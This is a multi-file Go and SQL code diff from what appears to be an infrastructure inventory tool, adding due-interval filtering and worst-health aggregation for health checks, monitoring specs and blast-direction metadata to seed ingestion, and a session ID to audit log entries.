"backups-verified": "backups_verified",
|
||||||
|
"secrets-revoked": "secrets_revoked",
|
||||||
|
"ingress-dns-removed": "ingress_dns_removed",
|
||||||
|
}[check]
|
||||||
|
if !strings.Contains(attrs, want) {
|
||||||
|
return fmt.Errorf("%s not recorded in entity attributes", want)
|
||||||
|
}
|
||||||
|
case "age-key-enrolled-if-needed":
|
||||||
|
if entityType == "workstation" {
|
||||||
|
var attrs string
|
||||||
|
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !strings.Contains(attrs, "age_pubkey") {
|
||||||
|
return fmt.Errorf("age key not enrolled (no age_pubkey in attributes)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case "mesh-joined-if-needed":
|
||||||
|
if entityType == "workstation" {
|
||||||
|
var attrs string
|
||||||
|
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !strings.Contains(attrs, "mesh_ip") {
|
||||||
|
return fmt.Errorf("mesh not joined (no mesh_ip in attributes)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case "health-check-answering":
|
||||||
|
st, err := sqlcgen.New(tx).GetEntityStatus(ctx, entityID)
|
||||||
|
if err != nil || st.Health == "unknown" || st.Health == "down" {
|
||||||
|
h := "unknown"
|
||||||
|
if err == nil {
|
||||||
|
h = st.Health
|
||||||
|
}
|
||||||
|
return fmt.Errorf("health check not answering (status: %s)", h)
|
||||||
|
}
|
||||||
|
case "doc-page-complete":
|
||||||
|
var count int
|
||||||
|
if err := tx.QueryRow(ctx, `
|
||||||
|
SELECT count(*) FROM relationships r
|
||||||
|
JOIN entities ke ON ke.id = r.source_id
|
||||||
|
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||||
|
AND r.type = 'documents' AND ke.type IN ('document','runbook','investigation')`,
|
||||||
|
entityID).Scan(&count); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if count == 0 {
|
||||||
|
return fmt.Errorf("no documentation linked to entity")
|
||||||
|
}
|
||||||
|
case "inventory-entry", "ip-reserved", "storage-pool-chosen", "cancelled-note",
|
||||||
|
"preflight-passed", "error-summary", "replacement-live-or-role-retired",
|
||||||
|
"replacement-failed", "post-verify-passed", "recovery-verified", "written-off",
|
||||||
|
"ingress-live-if-public", "doc-page-stub", "un-deprecate-note", "write-off-note":
|
||||||
|
// Soft checks — always pass. Operator-confirmed via the transition
|
||||||
|
// request itself, or not mechanically enforceable.
|
||||||
|
default:
|
||||||
|
// Unknown preconditions are skipped (operator intent overrides).
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -25,8 +25,8 @@ ON CONFLICT (actor, key) DO NOTHING;
|
|||||||
|
|
||||||
-- name: InsertAuditEntry :exec
|
-- name: InsertAuditEntry :exec
|
||||||
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
||||||
status_code, detail, source_ip, correlation_id)
|
status_code, detail, source_ip, correlation_id, session_id)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10);
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11);
|
||||||
|
|
||||||
-- name: InsertEvent :one
|
-- name: InsertEvent :one
|
||||||
INSERT INTO events (type, entity_id, severity, source, data, correlation_id)
|
INSERT INTO events (type, entity_id, severity, source, data, correlation_id)
|
||||||
@@ -55,12 +55,36 @@ FROM events WHERE id > $1 ORDER BY id ASC LIMIT $2;
|
|||||||
-- =====================================================================
|
-- =====================================================================
|
||||||
|
|
||||||
-- name: ListEnabledCheckDefs :many
|
-- name: ListEnabledCheckDefs :many
|
||||||
|
-- Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||||
|
-- every check ran on every 30s pass and the declared intervals meant nothing.
|
||||||
|
-- NULL last_run_at = never run = due now.
|
||||||
SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
||||||
cd.interval_s, cd.timeout_s, cd.zone, cd.enabled, cd.updated_at,
|
cd.interval_s, cd.timeout_s, cd.zone, cd.enabled, cd.updated_at,
|
||||||
e.slug AS entity_slug
|
e.slug AS entity_slug
|
||||||
FROM check_defs cd
|
FROM check_defs cd
|
||||||
JOIN entities e ON e.id = cd.entity_id
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
WHERE cd.enabled = true;
|
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||||
|
WHERE cd.enabled = true
|
||||||
|
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||||
|
AND (cd.last_run_at IS NULL
|
||||||
|
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s));
|
||||||
|
|
||||||
|
-- name: MarkCheckRun :exec
|
||||||
|
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1;
|
||||||
|
|
||||||
|
-- name: WorstHealthForTarget :one
|
||||||
|
-- An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||||
|
-- yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||||
|
-- newly added check does not drag a known-good entity down before it has
|
||||||
|
-- produced a verdict.
|
||||||
|
SELECT COALESCE(
|
||||||
|
(SELECT last_health FROM check_defs
|
||||||
|
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||||
|
ORDER BY CASE last_health
|
||||||
|
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||||
|
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||||
|
LIMIT 1),
|
||||||
|
'unknown')::text AS health;
|
||||||
|
|
||||||
-- name: GetCheckDef :one
|
-- name: GetCheckDef :one
|
||||||
SELECT * FROM check_defs WHERE entity_id = $1;
|
SELECT * FROM check_defs WHERE entity_id = $1;
|
||||||
|
|||||||
@@ -13,14 +13,15 @@ import (
|
|||||||
|
|
||||||
// SeedResult holds counts from a seed ingest operation.
|
// SeedResult holds counts from a seed ingest operation.
|
||||||
type SeedResult struct {
|
type SeedResult struct {
|
||||||
Lifecycles int
|
Lifecycles int
|
||||||
EntityTypes int
|
EntityTypes int
|
||||||
RelationshipTypes int
|
RelationshipTypes int
|
||||||
Entities int
|
Entities int
|
||||||
Relationships int
|
Relationships int
|
||||||
RiskClasses int
|
RiskClasses int
|
||||||
ApprovalRules int
|
ApprovalRules int
|
||||||
AutonomySettings int
|
AutonomySettings int
|
||||||
|
Checks int
|
||||||
}
|
}
|
||||||
|
|
||||||
// IngestOntologySeed ingests seeds/ontology.yaml into the DB.
|
// IngestOntologySeed ingests seeds/ontology.yaml into the DB.
|
||||||
@@ -66,12 +67,20 @@ func IngestOntologySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*S
|
|||||||
targetType, _ := rtMap["target"].(string)
|
targetType, _ := rtMap["target"].(string)
|
||||||
cardinality, _ := rtMap["cardinality"].(string)
|
cardinality, _ := rtMap["cardinality"].(string)
|
||||||
desc, _ := rtMap["description"].(string)
|
desc, _ := rtMap["description"].(string)
|
||||||
|
// Which end of the edge depends on the other; drives blast_radius().
|
||||||
|
// Absent means 'none' — an undeclared edge contributes nothing rather
|
||||||
|
// than silently producing a wrong dependency answer.
|
||||||
|
blastDirection, _ := rtMap["blast_direction"].(string)
|
||||||
|
if blastDirection == "" {
|
||||||
|
blastDirection = "none"
|
||||||
|
}
|
||||||
_, err := tx.Exec(ctx,
|
_, err := tx.Exec(ctx,
|
||||||
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description)
|
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description, blast_direction)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6)
|
VALUES ($1, $2, $3, $4, $5, $6, $7)
|
||||||
ON CONFLICT (name) DO UPDATE SET inverse = $2, source_type = $3,
|
ON CONFLICT (name) DO UPDATE SET inverse = $2, source_type = $3,
|
||||||
target_type = $4, cardinality = $5, description = $6`,
|
target_type = $4, cardinality = $5, description = $6,
|
||||||
name, nullableStr(inverse), sourceType, targetType, cardinality, desc)
|
blast_direction = $7`,
|
||||||
|
name, nullableStr(inverse), sourceType, targetType, cardinality, desc, blastDirection)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("relationship_type %s: %w", name, err)
|
return nil, fmt.Errorf("relationship_type %s: %w", name, err)
|
||||||
}
|
}
|
||||||
@@ -96,6 +105,7 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
|||||||
// Entities
|
// Entities
|
||||||
entities, _ := data["entities"].([]any)
|
entities, _ := data["entities"].([]any)
|
||||||
entityTypes := make(map[string]string) // slug -> type, for edge validation
|
entityTypes := make(map[string]string) // slug -> type, for edge validation
|
||||||
|
var pendingChecks []checkdefaults.Target
|
||||||
for _, raw := range entities {
|
for _, raw := range entities {
|
||||||
eMap, ok := raw.(map[string]any)
|
eMap, ok := raw.(map[string]any)
|
||||||
if !ok {
|
if !ok {
|
||||||
@@ -144,7 +154,12 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
|||||||
return nil, fmt.Errorf("entity_status %s: %w", slug, err)
|
return nil, fmt.Errorf("entity_status %s: %w", slug, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
checkdefaults.Ensure(ctx, tx, entityID, slug, typeName, attrsBytes)
|
// Default checks are deferred until after relationships are ingested:
|
||||||
|
// a service has no address of its own and inherits its container's,
|
||||||
|
// which means the hosting edge has to exist first.
|
||||||
|
pendingChecks = append(pendingChecks, checkdefaults.Target{
|
||||||
|
ID: entityID, Slug: slug, Type: typeName, Name: name, Attrs: attrsBytes,
|
||||||
|
})
|
||||||
|
|
||||||
r.Entities++
|
r.Entities++
|
||||||
}
|
}
|
||||||
@@ -208,6 +223,19 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Default checks, now that hosting edges exist. Errors here are fatal:
|
||||||
|
// swallowing them is what let a foreign-key violation abort the ingest
|
||||||
|
// transaction while surfacing as an unrelated failure several entities
|
||||||
|
// later.
|
||||||
|
for _, target := range pendingChecks {
|
||||||
|
res, err := checkdefaults.Ensure(ctx, tx, tree, target)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("default checks for %s: %w", target.Slug, err)
|
||||||
|
}
|
||||||
|
checkdefaults.LogResult(target.Slug, target.Type, res)
|
||||||
|
r.Checks += res.Created
|
||||||
|
}
|
||||||
|
|
||||||
return r, nil
|
return r, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -361,19 +389,68 @@ func insertOneEntityType(ctx context.Context, tx pgx.Tx, name string, tMap map[s
|
|||||||
layer, _ := tMap["layer"].(string)
|
layer, _ := tMap["layer"].(string)
|
||||||
desc, _ := tMap["description"].(string)
|
desc, _ := tMap["description"].(string)
|
||||||
lifecycleID, _ := tMap["lifecycle"].(string)
|
lifecycleID, _ := tMap["lifecycle"].(string)
|
||||||
attrSchema := tMap["attribute_schema"]
|
|
||||||
|
|
||||||
schemaBytes, _ := json.Marshal(attrSchema)
|
// seeds/ontology.yaml spells this `attributes:`. Reading it as
|
||||||
|
// "attribute_schema" silently marshalled nil to the JSON literal `null`
|
||||||
|
// for every type, so no attribute schema was ever ingested — the API and
|
||||||
|
// `oikos export` returned null for all 60 types.
|
||||||
|
attrSchema := tMap["attributes"]
|
||||||
_, err := tx.Exec(ctx,
|
_, err := tx.Exec(ctx,
|
||||||
`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, description,
|
`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, description,
|
||||||
lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at)
|
lifecycle_id, attribute_schema, monitoring_spec, schema_version, status, created_at, updated_at)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 1, 'active', now(), now())
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 1, 'active', now(), now())
|
||||||
ON CONFLICT (name) DO UPDATE SET parent_type = $2, is_abstract = $3, domain = $4,
|
ON CONFLICT (name) DO UPDATE SET parent_type = $2, is_abstract = $3, domain = $4,
|
||||||
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8, updated_at = now()`,
|
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8,
|
||||||
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID), nullableStr(string(schemaBytes)))
|
monitoring_spec = $9, updated_at = now()`,
|
||||||
|
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID),
|
||||||
|
attributeSchemaJSON(attrSchema), monitoringSpecJSON(tMap["monitoring"]))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// attributeSchemaJSON marshals a type's `attributes:` block for storage,
|
||||||
|
// mapping "the type declares no schema" to SQL NULL rather than to the JSON
|
||||||
|
// literal `null`. Both readers already treat a JSON `null` as absent, but a
|
||||||
|
// real NULL is what `attribute_schema IS NULL` expects and is what the column
|
||||||
|
// meant all along.
|
||||||
|
func attributeSchemaJSON(v any) any {
|
||||||
|
if v == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
b, err := json.Marshal(v)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// monitoringSpecJSON normalises an entity type's `monitoring:` declaration into
|
||||||
|
// the JSONB stored in entity_types.monitoring_spec. Three outcomes, and the
|
||||||
|
// difference between the last two is load-bearing for coverage signalling:
|
||||||
|
//
|
||||||
|
// absent → nil (SQL NULL) — undeclared, an ontology gap
|
||||||
|
// none | [] → "[]" — explicitly unmonitorable, by design
|
||||||
|
// [http, resource]→ '["http","resource"]'
|
||||||
|
//
|
||||||
|
// `monitoring: none` is accepted as a more legible spelling of `[]`; YAML
|
||||||
|
// parses the bare word as the string "none", not as null.
|
||||||
|
func monitoringSpecJSON(v any) any {
|
||||||
|
switch spec := v.(type) {
|
||||||
|
case nil:
|
||||||
|
return nil
|
||||||
|
case string:
|
||||||
|
if spec == "none" {
|
||||||
|
return "[]"
|
||||||
|
}
|
||||||
|
// A single kind written unquoted, e.g. `monitoring: http`.
|
||||||
|
b, _ := json.Marshal([]string{spec})
|
||||||
|
return string(b)
|
||||||
|
case []any:
|
||||||
|
b, _ := json.Marshal(toStringSlice(spec))
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func toStringSlice(v any) []string {
|
func toStringSlice(v any) []string {
|
||||||
if v == nil {
|
if v == nil {
|
||||||
return nil
|
return nil
|
||||||
@@ -407,4 +484,3 @@ func keysOf(m map[string]map[string]any) []string {
|
|||||||
}
|
}
|
||||||
return keys
|
return keys
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -46,6 +46,8 @@ type AgentSession struct {
|
|||||||
Summary string
|
Summary string
|
||||||
EntityID *uuid.UUID
|
EntityID *uuid.UUID
|
||||||
CompletionNudges int32
|
CompletionNudges int32
|
||||||
|
Blocker string
|
||||||
|
ClosedAt *time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
type Approval struct {
|
type Approval struct {
|
||||||
@@ -110,6 +112,10 @@ type CheckDef struct {
|
|||||||
Zone *string
|
Zone *string
|
||||||
Enabled bool
|
Enabled bool
|
||||||
UpdatedAt time.Time
|
UpdatedAt time.Time
|
||||||
|
// When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.
|
||||||
|
LastRunAt *time.Time
|
||||||
|
// This check's own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target's enabled checks.
|
||||||
|
LastHealth *string
|
||||||
}
|
}
|
||||||
|
|
||||||
type Classification struct {
|
type Classification struct {
|
||||||
@@ -177,6 +183,8 @@ type EntityType struct {
|
|||||||
Status string
|
Status string
|
||||||
CreatedAt time.Time
|
CreatedAt time.Time
|
||||||
UpdatedAt time.Time
|
UpdatedAt time.Time
|
||||||
|
// Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.
|
||||||
|
MonitoringSpec []byte
|
||||||
}
|
}
|
||||||
|
|
||||||
type Event struct {
|
type Event struct {
|
||||||
@@ -211,6 +219,14 @@ type Execution struct {
|
|||||||
CreatedAt time.Time
|
CreatedAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type ExecutionLog struct {
|
||||||
|
ExecutionID uuid.UUID
|
||||||
|
Ts time.Time
|
||||||
|
Seq int32
|
||||||
|
Stream string
|
||||||
|
Chunk string
|
||||||
|
}
|
||||||
|
|
||||||
type Feedback struct {
|
type Feedback struct {
|
||||||
EntityID uuid.UUID
|
EntityID uuid.UUID
|
||||||
ExecutionID uuid.UUID
|
ExecutionID uuid.UUID
|
||||||
@@ -241,6 +257,20 @@ type KnowledgeEntity struct {
|
|||||||
UpdatedAt time.Time
|
UpdatedAt time.Time
|
||||||
ContentHash *string
|
ContentHash *string
|
||||||
Search interface{}
|
Search interface{}
|
||||||
|
EditedBy string
|
||||||
|
DeletedAt *time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
type KnowledgeRevision struct {
|
||||||
|
ID int64
|
||||||
|
EntityID uuid.UUID
|
||||||
|
Title string
|
||||||
|
Content string
|
||||||
|
Source *string
|
||||||
|
Tags []string
|
||||||
|
EditedBy string
|
||||||
|
VersionAt time.Time
|
||||||
|
RevisedAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
type Ledger struct {
|
type Ledger struct {
|
||||||
@@ -350,6 +380,8 @@ type RelationshipType struct {
|
|||||||
Cardinality string
|
Cardinality string
|
||||||
Description *string
|
Description *string
|
||||||
CreatedAt time.Time
|
CreatedAt time.Time
|
||||||
|
// Which end of this edge depends on the other. forward = target depends on source. backward = source depends on target. none = no runtime dependency. Drives blast_radius().
|
||||||
|
BlastDirection string
|
||||||
}
|
}
|
||||||
|
|
||||||
type RiskClass struct {
|
type RiskClass struct {
|
||||||
@@ -366,18 +398,19 @@ type SeedVersion struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type SessionPlanStep struct {
|
type SessionPlanStep struct {
|
||||||
ID uuid.UUID
|
ID uuid.UUID
|
||||||
SessionID uuid.UUID
|
SessionID uuid.UUID
|
||||||
Seq int32
|
Seq int32
|
||||||
Title string
|
Title string
|
||||||
Detail string
|
Detail string
|
||||||
Status string
|
Status string
|
||||||
ExecutionID *uuid.UUID
|
ExecutionID *uuid.UUID
|
||||||
TargetSlug *string
|
TargetSlug *string
|
||||||
StartedAt *time.Time
|
StartedAt *time.Time
|
||||||
FinishedAt *time.Time
|
FinishedAt *time.Time
|
||||||
CreatedAt time.Time
|
CreatedAt time.Time
|
||||||
Generation int32
|
Generation int32
|
||||||
|
ReplacedReason *string
|
||||||
}
|
}
|
||||||
|
|
||||||
type SessionQuestion struct {
|
type SessionQuestion struct {
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ func (q *Queries) GetLifecycleForType(ctx context.Context, name string) (Lifecyc
|
|||||||
}
|
}
|
||||||
|
|
||||||
const listEntityTypes = `-- name: ListEntityTypes :many
|
const listEntityTypes = `-- name: ListEntityTypes :many
|
||||||
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at FROM entity_types ORDER BY name
|
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at, monitoring_spec FROM entity_types ORDER BY name
|
||||||
`
|
`
|
||||||
|
|
||||||
func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
||||||
@@ -55,6 +55,7 @@ func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
|||||||
&i.Status,
|
&i.Status,
|
||||||
&i.CreatedAt,
|
&i.CreatedAt,
|
||||||
&i.UpdatedAt,
|
&i.UpdatedAt,
|
||||||
|
&i.MonitoringSpec,
|
||||||
); err != nil {
|
); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -98,7 +99,7 @@ func (q *Queries) ListLifecycleDefs(ctx context.Context) ([]LifecycleDef, error)
|
|||||||
}
|
}
|
||||||
|
|
||||||
const listRelationshipTypes = `-- name: ListRelationshipTypes :many
|
const listRelationshipTypes = `-- name: ListRelationshipTypes :many
|
||||||
SELECT name, inverse, source_type, target_type, cardinality, description, created_at FROM relationship_types ORDER BY name
|
SELECT name, inverse, source_type, target_type, cardinality, description, created_at, blast_direction FROM relationship_types ORDER BY name
|
||||||
`
|
`
|
||||||
|
|
||||||
func (q *Queries) ListRelationshipTypes(ctx context.Context) ([]RelationshipType, error) {
|
func (q *Queries) ListRelationshipTypes(ctx context.Context) ([]RelationshipType, error) {
|
||||||
@@ -118,6 +119,7 @@ func (q *Queries) ListRelationshipTypes(ctx context.Context) ([]RelationshipType
|
|||||||
&i.Cardinality,
|
&i.Cardinality,
|
||||||
&i.Description,
|
&i.Description,
|
||||||
&i.CreatedAt,
|
&i.CreatedAt,
|
||||||
|
&i.BlastDirection,
|
||||||
); err != nil {
|
); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ func (q *Queries) GetAutonomySetting(ctx context.Context, key string) (string, e
|
|||||||
}
|
}
|
||||||
|
|
||||||
const getCheckDef = `-- name: GetCheckDef :one
|
const getCheckDef = `-- name: GetCheckDef :one
|
||||||
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at FROM check_defs WHERE entity_id = $1
|
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at, last_run_at, last_health FROM check_defs WHERE entity_id = $1
|
||||||
`
|
`
|
||||||
|
|
||||||
func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef, error) {
|
func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef, error) {
|
||||||
@@ -68,6 +68,8 @@ func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef
|
|||||||
&i.Zone,
|
&i.Zone,
|
||||||
&i.Enabled,
|
&i.Enabled,
|
||||||
&i.UpdatedAt,
|
&i.UpdatedAt,
|
||||||
|
&i.LastRunAt,
|
||||||
|
&i.LastHealth,
|
||||||
)
|
)
|
||||||
return i, err
|
return i, err
|
||||||
}
|
}
|
||||||
@@ -351,8 +353,8 @@ func (q *Queries) InsertApproval(ctx context.Context, arg InsertApprovalParams)
|
|||||||
|
|
||||||
const insertAuditEntry = `-- name: InsertAuditEntry :exec
|
const insertAuditEntry = `-- name: InsertAuditEntry :exec
|
||||||
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
||||||
status_code, detail, source_ip, correlation_id)
|
status_code, detail, source_ip, correlation_id, session_id)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)
|
||||||
`
|
`
|
||||||
|
|
||||||
type InsertAuditEntryParams struct {
|
type InsertAuditEntryParams struct {
|
||||||
@@ -366,6 +368,7 @@ type InsertAuditEntryParams struct {
|
|||||||
Detail []byte
|
Detail []byte
|
||||||
SourceIp *string
|
SourceIp *string
|
||||||
CorrelationID *string
|
CorrelationID *string
|
||||||
|
SessionID *uuid.UUID
|
||||||
}
|
}
|
||||||
|
|
||||||
func (q *Queries) InsertAuditEntry(ctx context.Context, arg InsertAuditEntryParams) error {
|
func (q *Queries) InsertAuditEntry(ctx context.Context, arg InsertAuditEntryParams) error {
|
||||||
@@ -380,6 +383,7 @@ func (q *Queries) InsertAuditEntry(ctx context.Context, arg InsertAuditEntryPara
|
|||||||
arg.Detail,
|
arg.Detail,
|
||||||
arg.SourceIp,
|
arg.SourceIp,
|
||||||
arg.CorrelationID,
|
arg.CorrelationID,
|
||||||
|
arg.SessionID,
|
||||||
)
|
)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -694,7 +698,11 @@ SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
|||||||
e.slug AS entity_slug
|
e.slug AS entity_slug
|
||||||
FROM check_defs cd
|
FROM check_defs cd
|
||||||
JOIN entities e ON e.id = cd.entity_id
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
|
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||||
WHERE cd.enabled = true
|
WHERE cd.enabled = true
|
||||||
|
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||||
|
AND (cd.last_run_at IS NULL
|
||||||
|
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s))
|
||||||
`
|
`
|
||||||
|
|
||||||
type ListEnabledCheckDefsRow struct {
|
type ListEnabledCheckDefsRow struct {
|
||||||
@@ -714,6 +722,9 @@ type ListEnabledCheckDefsRow struct {
|
|||||||
// =====================================================================
|
// =====================================================================
|
||||||
// Phase 3 queries
|
// Phase 3 queries
|
||||||
// =====================================================================
|
// =====================================================================
|
||||||
|
// Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||||
|
// every check ran on every 30s pass and the declared intervals meant nothing.
|
||||||
|
// NULL last_run_at = never run = due now.
|
||||||
func (q *Queries) ListEnabledCheckDefs(ctx context.Context) ([]ListEnabledCheckDefsRow, error) {
|
func (q *Queries) ListEnabledCheckDefs(ctx context.Context) ([]ListEnabledCheckDefsRow, error) {
|
||||||
rows, err := q.db.Query(ctx, listEnabledCheckDefs)
|
rows, err := q.db.Query(ctx, listEnabledCheckDefs)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -1126,6 +1137,20 @@ func (q *Queries) ListSkills(ctx context.Context, status *string) ([]Skill, erro
|
|||||||
return items, nil
|
return items, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const markCheckRun = `-- name: MarkCheckRun :exec
|
||||||
|
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1
|
||||||
|
`
|
||||||
|
|
||||||
|
type MarkCheckRunParams struct {
|
||||||
|
EntityID uuid.UUID
|
||||||
|
LastHealth *string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (q *Queries) MarkCheckRun(ctx context.Context, arg MarkCheckRunParams) error {
|
||||||
|
_, err := q.db.Exec(ctx, markCheckRun, arg.EntityID, arg.LastHealth)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
const putIdempotentResponse = `-- name: PutIdempotentResponse :exec
|
const putIdempotentResponse = `-- name: PutIdempotentResponse :exec
|
||||||
INSERT INTO idempotency_keys (actor, key, request_hash, response_code, response_body)
|
INSERT INTO idempotency_keys (actor, key, request_hash, response_code, response_body)
|
||||||
VALUES ($1, $2, $3, $4, $5)
|
VALUES ($1, $2, $3, $4, $5)
|
||||||
@@ -1447,3 +1472,25 @@ func (q *Queries) UpsertSignal(ctx context.Context, arg UpsertSignalParams) (Sig
|
|||||||
)
|
)
|
||||||
return i, err
|
return i, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const worstHealthForTarget = `-- name: WorstHealthForTarget :one
|
||||||
|
SELECT COALESCE(
|
||||||
|
(SELECT last_health FROM check_defs
|
||||||
|
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||||
|
ORDER BY CASE last_health
|
||||||
|
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||||
|
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||||
|
LIMIT 1),
|
||||||
|
'unknown')::text AS health
|
||||||
|
`
|
||||||
|
|
||||||
|
// An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||||
|
// yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||||
|
// newly added check does not drag a known-good entity down before it has
|
||||||
|
// produced a verdict.
|
||||||
|
func (q *Queries) WorstHealthForTarget(ctx context.Context, targetID *uuid.UUID) (string, error) {
|
||||||
|
row := q.db.QueryRow(ctx, worstHealthForTarget, targetID)
|
||||||
|
var health string
|
||||||
|
err := row.Scan(&health)
|
||||||
|
return health, err
|
||||||
|
}
|
||||||
|
|||||||
@@ -19,7 +19,8 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
rows, err := tx.Query(ctx,
|
rows, err := tx.Query(ctx,
|
||||||
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,'')
|
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,''),
|
||||||
|
layer, monitoring_spec
|
||||||
FROM entity_types`)
|
FROM entity_types`)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("load entity_types: %w", err)
|
return nil, fmt.Errorf("load entity_types: %w", err)
|
||||||
